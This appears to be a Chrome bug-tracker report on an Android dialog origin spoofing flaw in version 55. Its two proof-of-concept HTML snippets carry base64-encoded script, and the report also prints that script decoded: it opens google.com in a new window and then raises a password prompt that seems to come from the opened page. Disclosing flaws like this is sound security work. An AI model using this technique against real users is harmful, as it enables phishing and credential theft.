VULNERABILITY DETAILS
Chrome is prone to a dialog box origin spoofing vulnerability. The vulnerability presents itself as dialog boxes from inactive windows may appear in other active windows. This issue may allow a remote attacker to carry out phishing style attacks.

VERSION
Chrome Version: 55.0.2883.91 [Stable]
Operating System: [Android]
Phone: Nexus Phone

REPRODUCTION CASE
POC(1)
<a href="data:text/html;base64,PHNjcmlwdD4NCmZ1bmN0aW9uIGNjKCl7DQoJIHByb21wdCgicGFzc3dvcmQiKTsNCn0NCg0KZnVuY3Rpb24gYmIoKXsgDQoJbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCglsaW5rLmhyZWYgPSAnaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbSc7DQoJbGluay50YXJnZXQ9Im5ldyI7DQoJbGluay5jbGljaygpOw0KCWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQobGluayk7DQp9DQoNCmZ1bmN0aW9uIGFhKCl7DQoJYmIoKTsNCgljYygpOw0KfQ0KPC9zY3JpcHQ+DQo8YnV0dG9uIG9uY2xpY2s9ImFhKCkiPkNsaWNrIG1lPC9idXR0b24+">Click me</a>

POC(2)
<object data="data:text/html;base64,PHNjcmlwdD4NCmZ1bmN0aW9uIGNjKCl7DQoJIHByb21wdCgicGFzc3dvcmQiKTsNCn0NCg0KZnVuY3Rpb24gYmIoKXsgDQoJbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCglsaW5rLmhyZWYgPSAnaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbSc7DQoJbGluay50YXJnZXQ9Im5ldyI7DQoJbGluay5jbGljaygpOw0KCWRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQobGluayk7DQp9DQoNCmZ1bmN0aW9uIGFhKCl7DQoJYmIoKTsNCgljYygpOw0KfQ0KPC9zY3JpcHQ+DQo8YnV0dG9uIG9uY2xpY2s9ImFhKCkiPkNsaWNrIG1lPC9idXR0b24+"></object>

base64 payload code:

<script>
function cc(){
 prompt("password");
}

function bb(){ 
 link = document.createElement('a');
 link.href = 'https://www.google.com';
 link.target="new";
 link.click();
 document.body.appendChild(link);
}

function aa(){
 bb();
 cc();
}
</script>
<button onclick="aa()">Click me</button>

 

Deleted: spoof-1.png 70.7 KB

	spoof-1.png 70.7 KB View Download

Deleted: spoof-2.png 94.2 KB

	spoof-2.png 94.2 KB View Download